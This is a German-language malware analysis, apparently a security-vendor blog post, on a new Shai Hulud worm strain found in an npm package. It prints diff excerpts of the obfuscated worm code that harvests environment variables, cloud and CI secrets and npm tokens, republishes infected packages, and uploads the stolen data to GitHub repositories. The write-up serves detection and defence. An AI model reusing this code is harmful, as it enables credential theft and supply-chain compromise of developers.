Vor 30 Minuten haben wir die unserer Meinung nach erste Instanz eines neuen Stammes von Shai Hulud entdeckt, der im Paket auf npm hochgeladen wurde @vietmoney/react-big-calendar :
https://www.npmjs.com/package/@vietmoney/react-big-calendar
Es enthält einen neuen und neuartigen Stamm von Shai Hulud. Derzeit scheint es keine größere Verbreitung oder Infektionen zu geben. Dies deutet darauf hin, dass wir die Angreifer möglicherweise beim Testen ihres Payloads erwischt haben. Die Unterschiede im Code legen nahe, dass dieser erneut aus der Originalquelle verschleiert und nicht direkt modifiziert wurde. Dies macht es höchst unwahrscheinlich, dass es sich um einen Nachahmer handelt, sondern dass es von jemandem erstellt wurde, der Zugang zum ursprünglichen Quellcode des Wurms hatte.
Hier dokumentieren wir die Neuerungen.
Was ist neu?
Sie haben einen Fehler gemacht
Wir haben beobachtet, dass der Bedrohungsakteur einen Fehler in seinem Code gemacht hat. Sie haben die Dateinamen geändert, aber einen Fehler gemacht:
201424,201425c201387,201388
< let _0x79fc7c = "https://raw.githubusercontent.com/" + _0x44d2dc + '/' + _0x946d5 + "/main/contents.json";
< let _0x13d2d2 = await fetch(_0x79fc7c, {
---
> let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
> let _0x34b06b = await fetch(_0x20e4ac, {210001,210009c209956,209968
...
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
...Beachten Sie, dass im ersten Fall versucht wird, die Datei abzurufen c0nt3nts.json, aber die Datei tatsächlich gespeichert wird c9nt3nts.json. Hoppla!
Dateistruktur
Dieser neue Stamm von Shai Hulud weist einige Änderungen auf:
- Die initiale Datei heißt nun
bun_installer.js - Die Haupt-Payload heißt
environment_source.js
Neue GitHub-Repository-Beschreibung
Beim Leaken von Daten auf GitHub erhält das Repository nun die Beschreibung "Goldox-T3chs: Only Happy Girl".
201406,201407c201369,201370
< let _0x49fcc3 = await this.octokit.rest.search.repos({
< 'q': "\"Sha1-Hulud: The Second Coming.\"",
---
> let _0xa94c36 = await this.octokit.rest.search.repos({
> 'q': "\"Goldox-T3chs: Only Happy Girl.\"",Neue geleakte Dateinamen
- 3nvir0nm3nt.json
- cl0vd.json
- c9nt3nts.json
- pigS3cr3ts.json
- actionsSecrets.json
Dead Man's Switch entfernt
Der Dead Man's Switch scheint entfernt worden zu sein, was eine gute Nachricht ist:

Verbesserte Fehlerbehandlung für TruffleHog
Es verfügt nun über eine verbesserte Fehlerbehandlung für den Fall, dass TruffleHog ein Timeout hat:
209658,209659c209621,209623
< let _0x2b320d = setTimeout(() => {
< _0x51292c.kill();
---
> let _0x28178f = setTimeout(() => {
> _0x8a1d5e.kill();
> _0x15b267(Error("Trufflehog execution timed out after " + this.config.timeout + 'ms'));Versionsabhängige Paketveröffentlichung
In der vorherigen Version wurde versucht, aufzurufen bun um ein infiziertes Paket zu veröffentlichen, das unter Windows nicht funktioniert. Dies wird nun berücksichtigt.
209511,209514c209474,209477
< }, ['package']);
< let _0x3b13f2 = "bun";
< if (a0_0x647ad2.platform() === "win32") {
< _0x3b13f2 = "bun.exe";
---
> }, ["package"]);
> let _0x4a8bac = "bun";
> if (a0_0x3a4d5e.platform() === 'win32') {
> _0x4a8bac = "bun.exe";
209516c209479
< await Bun.$`npm publish ${_0x4fc35c}`.env({
---
> await Bun.$`${_0x4a8bac} publish ${_0x21c5dd}`.env({Reihenfolge der Erfassung von Secrets
Es gibt einen subtilen, aber wichtigen Unterschied in der Reihenfolge, in der Daten erfasst und gespeichert werden, was auf eine beabsichtigte Änderung hindeutet. Beachten Sie, dass in der alten Version die Datei „contents“ zuerst gespeichert wurde. Jetzt wird sie zuletzt gespeichert.
209986,209990c209945
< let _0x5bb75d = {
< 'environment': process.env
< };
< let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
< let _0x3e4549 = {
---
> let _0xa50f9e = {
209992c209947
< 'secrets': await _0x30fddc.runSecrets()
---
> 'secrets': await _0x511a7b.runSecrets()
209995c209950
< 'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x2efcec.listAndRetrieveAllSecrets()
209998c209953
< 'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x390843.listAndRetrieveAllSecrets()
210001,210009c209956,209968
< let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
< let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
< let _0xe09164 = await El(_0x4692e0);
< if (_0x11ccd2 && _0x345f28) {
< let _0x4012fb = await _0x345f28;
< if (!_0xe09164.npmTokenValid) {
< for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
< for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
< if (!(await El(_0x402786)).npmTokenValid) {
---
> let _0x5801a8 = {
> 'environment': process.env
> };
> let _0x1c3489 = _0x43e355.saveContents("3nvir0nm3nt.json", JSON.stringify(_0x5801a8), "Add file");
> let _0x383025 = _0x43e355.saveContents("cl0vd.json", JSON.stringify(_0xa50f9e), "Add file");
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
> let _0x5a8131 = await El(_0x587238);
> if (_0x582c1c && _0x218a2b) {
> let _0x2eb280 = await _0x218a2b;
> if (!_0x5a8131.npmTokenValid) {
> for (let _0x66a856 of _0x2eb280) if (typeof _0x66a856 === "object" && _0x66a856 !== null && !Array.isArray(_0x66a856)) {
> for (let [_0x8baf81, _0x5cea54] of Object.entries(_0x66a856)) if (typeof _0x5cea54 === 'string' && _0x5cea54.startsWith("npm_")) {
> if (!(await El(_0x5cea54)).npmTokenValid) {
Dies ist eine laufende Entwicklung. Bleiben Sie dran.

